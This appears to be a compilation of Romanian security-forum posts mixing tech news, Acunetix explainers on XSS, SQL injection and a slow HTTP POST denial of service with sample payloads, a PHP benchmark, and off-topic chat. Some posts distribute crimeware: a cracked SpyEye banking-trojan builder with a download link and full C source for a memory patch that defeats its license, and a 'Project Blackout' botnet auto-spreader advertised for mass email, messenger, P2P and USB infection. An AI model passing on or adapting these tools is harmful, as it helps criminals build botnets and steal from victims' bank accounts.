Nytro

Cum ti le trimit? De ce se intelege prin Hip-Hop "muzica buna". Adica de ce intelegeti voi asta?

Noile SSD-uri de la Intel: de 8 ori mai mici decat anterioarele de Silviu Anton | 30 decembrie 2010 Unitatile de stocare SSD au din ce in ce mai multi adepti, iar partea buna la acest aspect este ca ele devin din ce in ce mai mici, ca si dimensiuni. Mult mai mici. Cele mai noi SSD-uri marca Intel, SSD 310, ofera aceeasi performanta ca si x25-urile care au aparut inaintea lor, insa, din punct de vedere al dimensiunilor ele reprezinta a opta parte din acestea. Noile drive-uri, care au fost concepute pentru notebook-uri, tablete si dispozitive industriale si militare, au o dimensiune de numai 51x30 mm si latime de 5 mm. Pana in prezent, Intel a semnat parteneriate pentru seria SSD 310 cu Lenovo, care vrea sa integreze drive-urile in urmatoarea generatie de ThinkPad-uri. Intel si-a propus sa livreze noile drive-urile catre producatorii de echipamente hardware in cantitati de cate 1000 de unitati, cu capacitati de 40GB (99 de dolari) si 80GB (179 de dolari). Specificatiile tehnice complete ale seriei Intel SSD 310 le puteti gasi chiar pe pagina Web a producatorului. Seria Intel SSD 310 este primul val dintr-o serie de noi SDD-uri care vor sosi incepand cu anul viitor. Iar noi le asteptam nerabdatori. Cu cat mai mici, cu atat mai bune! Sursa: Noile SSD-uri de la Intel: de 8 ori mai mici decat anterioarele | Hit.ro

Sunt foarte multe site-uri vulnerabile la XSS. Dar acest tip de vulnerabilitate e subestimata. Poti citi asta de exemplu: http://rstcenter.com/forum/17747-rst-folosire-xss-pentru-trece-de-protectia-csrf.rst

Da, sunt sigur ca nu ajuta sa te uiti la soare cu ochiul liber, dar dupa logica mea e mult mai grav sa te uiti la soare cu ochiul liber decat la eclipsa. Bine, probabil ca se considera ca la eclipsa te uiti 2 ore, asa da.

Nu am inteles niciodata de ce orbesti daca te uiti cu ochiul liber. Cand eram mai mic stiu ca incercam sa ma uit la soare cu ochiul liber, cateva secunde si tot repetam aceasta actiune. Si nu am probleme cu ochii, nu port ochelari, nu ma dor... Oricum, mersi de informatii, sper sa nu uit de ea. Poate o sa fac si cateva poze.

Asta e o prostie: $message = str_replace("\\"","",$message);// filtreaza ghilimelele $message = str_replace("\\\'","",$message);// filtreaza doar o parte a ghilimelelor Cred ca trebuia: $message = str_replace('"',"",$message);// filtreaza ghilimelele $message = str_replace("'","",$message);// filtreaza doar o parte a ghilimelelor am insertat kodul v-a redicta pe pagina-exploit, unde v-a indeplini kodul dat Nici nu ma stresez sa il citesc, doar m-am uitat peste el. Gasiti articole despre XSS mult mai bune daca dati un Search la Tutoriale Engleza.

Sincer, cred ca as cumpara-o. Adica e o poveste interesanta, ca un fel de film de actiune. Imi place ca are si niste idei originale. Oricum, sfarsitul mi-a placut. Cred ca se poate cumpara, daca aveti fonduri de sarbatori. Nu pot sa spun despre ce e vorba. As strica totul, nu ar mai avea nici un farmec. Voi doar plecati de la ideea ca muriti daca o cititi si o sa va placa.

Am citit-o eu. A aparut si volumul II, dar pe acela inca nu l-am citit. Sincer, nu e cine stie ce. Limbajul nu e tocmai unul prezent in literatura clasica, e mult mai "modern". E genul de carte pe care o poate citi oricine. Eu am citit-o intr-o zi. Are 300-400 de pagini, cam asa. In format electronic nu stiu daca o gasesti, e prin librarii in schimb.

Deci o sectiune mai generala de securitate, discutii tehnice? Daca da, e perfect, sunt complet de acord.

Nu tie, daca mai comentati aiurea si va abateti de la subiect primiti ban.

What is Cross site Scripting? Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques. In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim. Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data. "A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center). Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet. As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website. Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc… N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS). Is your site vulnerable to Cross Site Scripting Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward. Example of a Cross Site Scripting attack As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for. Example: Search Results for "XSS Vulnerability" To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like: http://test.searchengine.com/search.php?q=XSS%20 Vulnerability Next we try to send the following query to the search engine: <script type="text/javascript"> alert('This is an XSS Vulnerability') </script> By submitting the query to search.php, it is encoded and the resulting URL would be something like: http://test.searchengine.com/search.php?q=%3Cscript%3Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%29%3C%2Fscript%3E Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability. How to check for Cross site scripting vulnerabilities To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities. Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities. Preventing Cross Site Scripting attacks To prevent these attacks, dangerous characters must be filtered out from the web application inputs. These should be filtered out both in their ASCII and HEX values. Scanning for XSS vulnerabilities with Acunetix WVS Free Edition! To check whether your website has cross site scripting vulnerabilities, download the Free Edition from Cross Site Scripting scanner ? Free XSS Security Scanner. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site). Sursa: Cross site scripting / XSS - How to find & fix it with a web scanner

SQL Injection: What is it? SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database. In essence, SQL Injection arises because the fields available for user input allow SQL statements to pass through and query the database directly. SQL Injection: An In-depth Explanation Web applications allow legitimate website visitors to submit and retrieve data to/from a database over the Internet using their preferred web browser. Databases are central to modern websites – they store data needed for websites to deliver specific content to visitors and render information to customers, suppliers, employees and a host of stakeholders. User credentials, financial and payment information, company statistics may all be resident within a database and accessed by legitimate users through off-the-shelf and custom web applications. Web applications and databases allow you to regularly run your business. SQL Injection is the hacking technique which attempts to pass SQL commands (statements) through a web application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out. Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs. These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly. SQL Injection: A Simple Example Take a simple login page where a legitimate user would enter his username and password combination to enter a secure area to view his personal details or upload his comments in a forum. When the legitimate user submits his details, an SQL query is generated from these details and submitted to the database for verification. If valid, the user is allowed access. In other words, the web application that controls the login page will communicate with the database through a series of planned commands so as to verify the username and password combination. On verification, the legitimate user is granted appropriate access. Through SQL Injection, the hacker may input specifically crafted SQL commands with the intent of bypassing the login form barrier and seeing what lies behind it. This is only possible if the inputs are not properly sanitised (i.e., made invulnerable) and sent directly with the SQL query to the database. SQL Injection vulnerabilities provide the means for a hacker to communicate directly to the database. The technologies vulnerable to this attack are dynamic script languages including ASP, ASP.NET, PHP, JSP, and CGI. All an attacker needs to perform an SQL Injection hacking attack is a web browser, knowledge of SQL queries and creative guess work to important table and field names. The sheer simplicity of SQL Injection has fuelled its popularity. Why is it possible to pass SQL queries directly to a database that is hidden behind a firewall and any other security mechanism? Firewalls and similar intrusion detection mechanisms provide little or no defense against full-scale SQL Injection web attacks. Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your web application/s (generally over port 80/443). The web application has open access to the database in order to return (update) the requested (changed) information. In SQL Injection, the hacker uses SQL queries and creativity to get to the database of sensitive corporate data through the web application. SQL or Structured Query Language is the computer language that allows you to store, manipulate, and retrieve data stored in a relational database (or a collection of tables which organise and structure data). SQL is, in fact, the only way that a web application (and users) can interact with the database. Examples of relational databases include Oracle, Microsoft Access, MS SQL Server, MySQL, and Filemaker Pro, all of which use SQL as their basic building blocks. SQL commands include SELECT, INSERT, DELETE and DROP TABLE. DROP TABLE is as ominous as it sounds and in fact will eliminate the table with a particular name. In the legitimate scenario of the login page example above, the SQL commands planned for the web application may look like the following: SELECT count(*) FROM users_list_table WHERE username=’FIELD_USERNAME’ AND password=’FIELD_PASSWORD” In plain English, this SQL command (from the web application) instructs the database to match the username and password input by the legitimate user to the combination it has already stored. Each type of web application is hard coded with specific SQL queries that it will execute when performing its legitimate functions and communicating with the database. If any input field of the web application is not properly sanitised, a hacker may inject additional SQL commands that broaden the range of SQL commands the web application will execute, thus going beyond the original intended design and function. A hacker will thus have a clear channel of communication (or, in layman terms, a tunnel) to the database irrespective of all the intrusion detection systems and network security equipment installed before the physical database server. Is my database at risk to SQL Injection? SQL Injection is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against SQL Injection, there are a large number of web applications that remain vulnerable. According to the Web Application Security Consortium (WASC) 9% of the total hacking incidents reported in the media until 27th July 2006 were due to SQL Injection. More recent data from our own research shows that about 50% of the websites we have scanned this year are susceptible to SQL Injection vulnerabilities. It may be difficult to answer the question whether your web site and web applications are vulnerable to SQL Injection especially if you are not a programmer or you are not the person who has coded your web applications. Our experience leads us to believe that there is a significant chance that your data is already at risk from SQL Injection. Whether an attacker is able to see the data stored on the database or not, really depends on how your website is coded to display the results of the queries sent. What is certain is that the attacker will be able to execute arbitrary SQL Commands on the vulnerable system, either to compromise it or else to obtain information. If improperly coded, then you run the risk of having your customer and company data compromised. What an attacker gains access to also depends on the level of security set by the database. The database could be set to restrict to certain commands only. A read access normally is enabled for use by web application back ends. Even if an attacker is not able to modify the system, he would still be able to read valuable information. What is the impact of SQL Injection? Once an attacker realizes that a system is vulnerable to SQL Injection, he is able to inject SQL Query / Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database! An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to manipulate existing queries, to UNION (used to select related information from two tables) arbitrary data, use subselects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures, it could spell disaster. Unfortunately the impact of SQL Injection is only uncovered when the theft is discovered. Data is being unwittingly stolen through various hack attacks all the time. The more expert of hackers rarely get caught. Example of a SQLInjection Attack Here is a sample basic HTML form with two inputs, login and password. <form method="post" action="http://testasp.vulnweb.com/login.asp"> <input name="tfUName" type="text" id="tfUName"> <input name="tfUPass" type="password" id="tfUPass"> </form> The easiest way for the login.asp to work is by building a database query that looks like this: SELECT id FROM logins WHERE username = '$username' AND password = '$password’ If the variables $username and $password are requested directly from the user's input, this can easily be compromised. Suppose that we gave "Joe" as a username and that the following string was provided as a password: anything' OR 'x'='x SELECT id FROM logins WHERE username = 'Joe' AND password = 'anything' OR 'x'='x' As the inputs of the web application are not properly sanitised, the use of the single quotes has turned the WHERE SQL command into a two-component clause. The 'x'='x' part guarantees to be true regardless of what the first part contains. This will allow the attacker to bypass the login form without actually knowing a valid username / password combination! How do I prevent SQL Injection attacks? Firewalls and similar intrusion detection mechanisms provide little defense against full-scale web attacks. Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your databases servers through web applications. Isn’t this what they have been designed to do? Patching your servers, databases, programming languages and operating systems is critical but will in no way the best way to prevent SQL Injection Attacks. How to check for SQL injection vulnerabilities Securing your website and web applications from SQL Injection involves a three-part process: 1. Analysing the present state of security present by performing a thorough audit of your website and web applications for SQL Injection and other hacking vulnerabilities. 2. Making sure that you use coding best practice santising your web applications and all other components of your IT infrastructure. 3. Regularly performing a web security audit after each change and addition to your web components. Furthermore, the principles you need to keep in mind when checking for SQL Injection and all other hacking techniques are the following: “Which parts of a website we thought are secure are open to hack attacks?” and “what data can we throw at an application to cause it to perform something it shouldn’t do?”. Checking for SQL Injection vulnerabilities involves auditing your website and web applications. Manual vulnerability auditing is complex and very time-consuming. It also demands a high-level of expertise and the ability to keep track of considerable volumes of code and of all the latest tricks of the hacker’s ‘trade’. The best way to check whether your web site and applications are vulnerable to SQL injection attacks is by using an automated and heuristic web vulnerability scanner. An automated web vulnerability scanner crawls your entire website and should automatically check for vulnerabilities to SQL Injection attacks. It will indicate which URLs/scripts are vulnerable to SQL injection so that you can immediately fix the code. Besides SQL injection vulnerabilities a web application scanner will also check for Cross site scripting and other web vulnerabilities. Signature-Matching versus Heuristic Scanning for SQL Injection Whereas many organisations understand the need for automating and regularising web auditing, few appreciate the necessity of scanning both off-the-shelf AND bespoke web applications. The general misconception is these custom web applications are not vulnerable to hacking attacks. This arises more out of the “it can never happen to me” phenomenon and the confidence website owners place in their developers. A search on Google News returned 240 matches on the keyword “SQL Injection” (at time of writing). Secunia and SecuObs report dozens of vulnerabilities of known web applications on a daily basis. Yet, examples of hacked custom applications are rarely cited in the media. This is because it is only the known organisations (e.g. Choicepoint, AT&T, PayPal) that hit the headlines over the past few months. It is critical to understand that custom web applications are probably the most vulnerable and definitely attract the greatest number of hackers simply because they know that such applications do not pass through the rigorous testing and quality assurance processes of off-the-shelf ones. This means that scanning a custom web application with only a signature-based scanner will not pinpoint vulnerabilities to SQL Injection and any other hacking techniques. Establishing and testing against a database of signatures of vulnerabilities for known applications is not enough. This is passive auditing because it will only cover off-the-shelf applications and any vulnerabilities to new hacking techniques will not be discovered. In addition, signature matching would do little when a hacker launches an SQL Injection attack on your custom web applications. Hack attacks are not based on signature file testing – hackers understand that known applications, systems and servers are being updated and secured constantly and consistently by respective vendors. It is custom applications that are the proverbial honey pot. It is only a handful of products that deploy rigorous and heuristic technologies to identify the real threats. True automated web vulnerability scanning almost entirely depends on (a) how well your site is crawled to establish its structure and various components and links, and ( on the ability of the scanner to leverage intelligently the various hacking methods and techniques against your web applications. It would be useless to detect the known vulnerabilities of known applications alone. A significant degree of heuristics is involved in detecting vulnerabilities since hackers are extremely creative and launch their attacks against bespoke web applications to create maximum impact. How can Acunetix help you in auditing your site for SQL Injection? Acunetix was founded to combat the alarming rise in web attacks including SQL Injection and Cross-Site Scripting among others. Take a product tour to find out how Acunetix Web Vulnerability Scanner can help you or download the scanner today! Sursa: SQL Injection - Use a SQL Injection Scanner to Fix It

HTTP Post Denial Of Service: more dangerous than initially thought by Bogdan Calin on November 22, 2010 – 8:47 pm Wong Onn Chee and Tom Brennan from OWASP recently published a paper* presenting a new denial of service attack against web servers. What’s special about this denial of service attack is that it’s very hard to fix because it relies on a generic problem in the way HTTP protocol works. Therefore, to properly fix it would mean to break the protocol, and that’s certainly not desirable. The authors are listing some possible workarounds but in my opinion none of them really fixes the problem. The attack explained An attacker establishes a number of connections with the web servers. Each one of these connections contains a Content-Length header with a large number (e.g. Content-Length: 10000000). Therefore, the web server will expect 10000000 bytes from each one of these connections. The trick is not to send all this data at once but to send it character by character over a long period of time (e.g. 1 character each 10-100 seconds). The web server will keep these connections open for a very long time, until it receives all the data. In this time, other clients will have a hard time connecting to the server, or even worse will not be able to connect at all because all the available connections are taken/busy. In this blog post, I would like to expand on the effect of this denial of service attack against Apache. First, I would like to start with one of their affirmations: “Hence, any website which has forms, i.e. accepts HTTP POST requests, is susceptible to such attacks.” At least in the case of Apache, this is not correct. It doesn’t matter if the website has forms or not. Any Apache web server is vulnerable to this attack. The web server doesn’t decide if the resource can accept POST data before receiving the full request. I’ve created a very simple Acunetix WVS test script to reproduce this attack and prove this point: The script will create 256 sockets, establish a TCP connection to the web server on each socket and start sending data slowly (1 character per second). Screenshot: http://www.acunetix.com/blog/wp-content/uploads/2010/11/wvs-scripting1.png As you can see in the code from the screen-shot, I’m making a HTTP POST request to an nonexistent file (POST /aaaaaaaaaaaa HTTP/1.1). After a few seconds, the web server becomes completely unresponsive. As soon as I stop the script, the web server starts responding again. Therefore, any Apache web server is vulnerable to this attack. How many connections are required until the web server stops responding? Their paper mentions 20.000 connections as an example. They also make the following note: Apache requires lesser number of connections due to mandatory client or thread limit in httpd.conf. Interesting. How much lesser number of connections? If we look in the Apache 1.3 documentation, we find the following information: The MaxClients directive sets the limit on the number of simultaneous requests that can be supported; not more than this number of child server processes will be created. Syntax: MaxClients number Default: MaxClients 256 Therefore, by default Apache 1.3 only allows 256 connections. Therefore, an attacker only needs to steal 256 connections before the web server stops responding. It’s the same situation even with Apache 2.0. During my tests, I noticed the following error message in the Apache error log: $tail -f /var/log/apache2/error.log [Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations [Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting In conclusion, the denial of service attack affects any Apache web server and one requires only a few hundred connections to make the server completely unresponsive. And based on my knowledge there is no proper fix for it: Apache response was: “What you described is a known attribute (read: flaw) of the HTTP protocol over TCP/IP. The Apache HTTP project declines to treat this expected use-case as a vulnerability in the software.” And Microsoft’s response: “While we recognize this is an issue, this issue does not meet our bar for the release of a security update. We will continue to track this issue and the changes I mentioned above for release in a future service pack.” That’s pretty scary! * The paper published by Wong Onn Chee and Tom Brennan can be found here: http://www.owasp.org/images/4/43/Layer_7_DDOS.pdf Sursa: HTTP Post Denial Of Service: more dangerous than initially thought | Acunetix Web Application Security Blog

AndrusKanu: Nu mai punem header de sarbatori, doar il schimbam pe cel vechi. Legat de citat, nu ma intereseaza cat de "smechere" sunt cat timp nu au legatura cu RST. Asa punem simplu: "A fi sau a nu fi, aceasta e intrebarea". Ideea e sa se muleze perfect pe contextul de fata, pe activitatea noastra. Adica nu se potriveste orice citat care e doar legat de un calculator, sau cine stie ce citat generic care pentru noi nu inseamna nimic.

Veniti cu mai multe idei pentru "texte", apoi supunem la vot.

In primul rand warn. In al doilea rand, daca citeai ultimul rand vedeai de unde am copiat informatiile.

PHP Output and Concatenation Speed Comparison Cateva teste simple si utile pentru cei mai "optimizationisti" dintre noi. There are a few commonly asked PHP questions: What is the difference between the print and echo constructs? What is the difference between single and double quotes? These questions are both answered very sufficiently by doing a quick search on Google. However, one thing often overlooked is the speed comparison between print, echo and single and double quotes. So, I thought I would do a bit of a test… Setting up my test After reading Adam Wright’s response to this question on Stack Overflow, I thought it was a great starting point and had some great potential to expand. The basics of my test will be based on the following code: <?php function timefunc($function, $runs) { $times = array(); for ($i = 0; $i < $runs; $i++) { ob_start(); $time = microtime(); call_user_func($function); $times[$i] = microtime() - $time; ob_end_clean(); } return array_sum($times) / $runs; } ?> It is almost the same as Adam’s, however I have introduced an output buffer so I am able to easily test my output speeds. My output will be an average speed for the function that has been run. To make my test fair, each of my functions to test are going to be based on the following code: function test1() { $foo = 'some words'; for ($i = 0; $i < 10000; $i++) $t = "these are some words"; //Test in here } For a fair comparison, I am always going to declare the $foo variable even if it is not used in the test, this means the only thing that changes with each test will be my test line. What is quicker – Single or Double quotes? The first test I am going to carry out is the difference between single and double quotes when inserting variables into a string. My variable is to insert will be “some words”, with my starting string being “these are “. I am going to carry out the following tests: <?php /* Simple starting references */ $t = "these are some words"; //Double quotes $t = 'these are some words'; //Single quotes /* Tests */ $t = "these are $foo"; //Double quotes $t = "these are {$foo}"; //Double quotes with brackets $t = "these are " . $foo; //Double quotes with concatenation $t = 'these are ' . $foo; //Single quotes with concatenation ?> As you should know, single quotes doesn’t allow parsing of variables straight into the string, and therefore I have only included it here with concatenation as that is the only way to get the variable into the output. The results are: Double quotes 0.0023348 Single quotes 0.0024924 Double quotes 0.0039244 Double quotes with brackets 0.0040088 Double quotes with concatenation 0.0027065 Single quotes with concatenation 0.0026829 Very, very interesting! From this, you can see that using concatenation with either double or single quotes, the speed decrease is only ~16%. There is also negligible difference between single and double quotes both in the reference test and also in concatenation, I would put the small differences in the test down to noise during my testing. I think the interesting thing found here is that placing the variable directly into double quotes causes a speed decrease of ~68%, again I would put the difference between bracketed and non–bracketed down to noise during my tests as it is a tiny difference. What is quicker – echo or print? Now, what is the quickest way to output information in PHP. It is commonly known that print and echo are used to output data. There are however, two other ways to output data directly to the output data stream, the output and stdout data streams. To output to these, you can use PHP’s normal file handling functions as they deal directly with streams. Firstly, I will run some simple output tests: <?php /* The tests */ echo "these are some words"; //Echo with double quotes echo 'these are some words'; //Echo with single quotes print "these are some words"; //Print with double quotes print 'these are some words'; //Print with single quotes file_put_contents("php://output", 'these are some words'); //Output stream file_put_contents("php://stdout", 'these are some words'); //Stdout stream ?> The results: Echo with double quotes 0.0020305 Echo with single quotes 0.001976 Print with double quotes 0.0021426 Print with single quotes 0.0021427 Output stream 0.0206471 Stdout stream 0.0518192 This time, I think the finding are even more interesting. As expected, print is slower than echo by ~6%. Also, writing straight to the output stream causes quite a large decrease in speed. This is probably caused by the fact we are having to use the file_put_contents function to write the output and not a built in constructor. I think very interesting is the fact that writing to stdout is ~150% slower than writing to the output stream. Let’s put them together – output and concatenation comparison Now we have seen the speed differences between outputs and concatenations, now let’s put them together and see what happens. Here are the tests: <?php /* Tests */ echo "these are $foo"; //Echo double echo "these are {$foo}"; //Echo double with brackets echo "these are " . $foo; //Echo double with concatenation echo 'these are ' . $foo; //Echo single with concatenation print "these are $foo"; //Print double print "these are {$foo}"; //Print double with brackets print "these are " . $foo; //Print double with concatenation print 'these are ' . $foo; //Print single with concatenation printf('these are %s', $foo); //Printf ?> Most of these should make perfect sense, the only addition I have made is the printf function. This allows a string replace functionality that outputs it’s result. Quite simply in the format above, it provides the same functionality as all the other tests. So, here are the results: Output Tests With Concatenation Echo with double quotes 0.0043563 Echo with double quotes (brackets) 0.0043074 Echo with double quotes (concatenation) 0.0032709 Echo with single quotes (concatenation) 0.0032543 Print with double quotes 0.0045534 Print with double quotes (brackets) 0.0057546 Print with double quotes (concatenation) 0.0034584 Print with single quotes (concatenation) 0.0036391 Printf 0.0110374 Nothing amazing here really, everything has already been explained previously. Probably the only thing to note is that the printf function takes ~92% longer than the next longest output (print with double quotes & brackets). So, I think this proves that the concatenation operator (.) in php provides the quickest way for placing variables into a string. It also, doesn’t seem to make much difference whether you use single or double quotes throughout your scripts. The important thing to note from these test I think, is that the output functions take a significant amount of time longer to run that the output constructs build into PHP. If you can think of any output methods I have forgotten, let me know in the comment. If you have found this post interesting, please read through some of my other posts and subscribe to my RSS feed. Thanks for reading! Sursa si articolul frumos aranjat: PHP Output and Concatenation Speed Comparison – Murray Picton

SpyEye.1.1.39.Builder+Patch Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Nici nu stiu daca mai e postat. 1.Start SpyEye.exe 2.Start SpyEyePatch.exe - Klick OK 3.Klick Ok in SpyEye error message and enjoy the Builder Download: http://www.multiupload.com/ZEAYSEAU4W SpyEyePatch SourceCode: #include <Windows.h> #include <tlhelp32.h> typedef LONG ( NTAPI *_NtSuspendProcess )( IN HANDLE ProcessHandle ); typedef LONG ( NTAPI *_NtResumeProcess )( IN HANDLE ProcessHandle ); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { TOKEN_PRIVILEGES priv; HANDLE hThis, hToken; LUID luid; hThis = GetCurrentProcess(); OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken); LookupPrivilegeValue(0, "seDebugPrivilege", &luid); priv.PrivilegeCount = 1; priv.Privileges[0].Luid = luid; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0); CloseHandle(hToken); CloseHandle(hThis); HANDLE ProcessHandle = 0; _NtSuspendProcess NtSuspendProcess = 0; _NtResumeProcess NtResumeProcess = 0; PROCESSENTRY32 processInfo; processInfo.dwSize = sizeof(processInfo); HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); CHAR processName[] = "SpyEye.exe"; DWORD PID = 0 ; DWORD Patch1 = 0x4010C5; DWORD Patch2 = 0x4010CA; DWORD Patch3 = 0x4010CC; DWORD Patch4 = 0x4010CD; UCHAR PatchVal1[] = "\xB8\x0C\x11\x40\x00"; UCHAR PatchVal2[] = "\xFF\xD0"; UCHAR PatchVal3[] = "\x90"; UCHAR PatchVal4[] = "\x90"; NtSuspendProcess = (_NtSuspendProcess)GetProcAddress( GetModuleHandle( "ntdll" ), "NtSuspendProcess" ); NtResumeProcess = (_NtResumeProcess)GetProcAddress( GetModuleHandle( "ntdll" ), "NtResumeProcess" ); if ( processesSnapshot == INVALID_HANDLE_VALUE ){ return 0; } Process32First(processesSnapshot, &processInfo); while ( Process32Next(processesSnapshot, &processInfo)){ if ( !strcmp(processName,processInfo.szExeFile)){ CloseHandle(processesSnapshot); PID = processInfo.th32ProcessID; break; } } if(PID != NULL){ //MessageBoxA(NULL,(LPCSTR)PID,"SpyEye.exe - PID",0); ProcessHandle = OpenProcess( PROCESS_ALL_ACCESS, FALSE, PID); } if ( ProcessHandle != NULL ){ NtSuspendProcess( ProcessHandle ); WriteProcessMemory(ProcessHandle, (LPVOID)Patch1, &PatchVal1, sizeof(PatchVal1)-1, NULL); WriteProcessMemory(ProcessHandle, (LPVOID)Patch2, &PatchVal2, sizeof(PatchVal2)-1, NULL); WriteProcessMemory(ProcessHandle, (LPVOID)Patch3, &PatchVal3, sizeof(PatchVal3)-1, NULL); WriteProcessMemory(ProcessHandle, (LPVOID)Patch4, &PatchVal4, sizeof(PatchVal4)-1, NULL); /* 004010C5 B8 0C114000 MOV EAX,SpyEye.0040110C 004010CA FFD0 CALL EAX 004010CC 90 NOP 004010CD 90 NOP */ MessageBoxA(NULL,"SpyEye should have been patched now.\nJust press OK and enjoy","SpyEye-Patch by Zer0Flag",0); NtResumeProcess( ProcessHandle ); CloseHandle(ProcessHandle); } return 0; } Sursa: SpyEye.1.1.39.Builder+Pat ch - r00tsecurity

Project Blackout V2.5 - Amazing Auto-Spreader Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator de nimic. Project Blackout V2.5 is made to spread your botnet, but it works on every .exe on the internet! Yes, this means: Keyloggers, RATS, Crypted files and much,much, more! Automatically Download and Execute your bot on run Mass Email Spread (This is why gmail username and password is required) Infect all HTML documents Antis MSN Spread *Sends message to all online contacts getting them to download and run your virus* LAN Spread *This one is seriously amazing* P2P Spread - Limewire, eDonkey and much, much more *Amazing, just plain amazing. When you have over 100+ bots all hosting your virus on limewire you will be getting a fuckload of zombies* Skype spread *Send message to all online contacts getting them to download your virus* USB Spread *Its your basic, everyday, 100% working and stable USB auto-sperad* Unique mutex. *This way your bot is unique, and other bots do not copy over yours* Download: http://uppit.com/v/ilj6tmmv

Nu l-am incercat, nu stiu daca e infectat, nu sunt raspunzator pentru nimic. Cred ca a mai fost postat, dar nu cred ca mai era bun link-ul de download. Download: http://www.mediafire.com/?qvpj2us7oxg38cf Sau: http://www.multiupload.com/3D4WKJL6JW

Trebuie sa reactioneze "cei mari". Noi nu prea avem ce face, putem doar sa asteptam. Producatorii de routere, gateway-uri, switch-uri si alte echipamente, cat si ISP-urile si organizatiile care se ocupa cu standardele ar trebui sa ia atitudine si asta cat mai repede. Da, dupa parerea mea pe 12.12.2012 se vor termina adresele IPv4, deci chiar va veni sfarsitul lumii.

Curiosity is our motivation, security is our hobby/job and information si our weapon. Sau cam asa ceva.

De "IT" iti recomand "Fortareata Digitala" de Dan Brown.

Si cum ai "interactionat" din Windows cu exploitul? Cu acel Share sau cu Internet Explorer?

Da, mie imi plac toate headerele, nu sunt foarte pretentios, dar sa gasim textul potrivit. Faceti o lista cu texte mai "stralucite" si supunem la vot.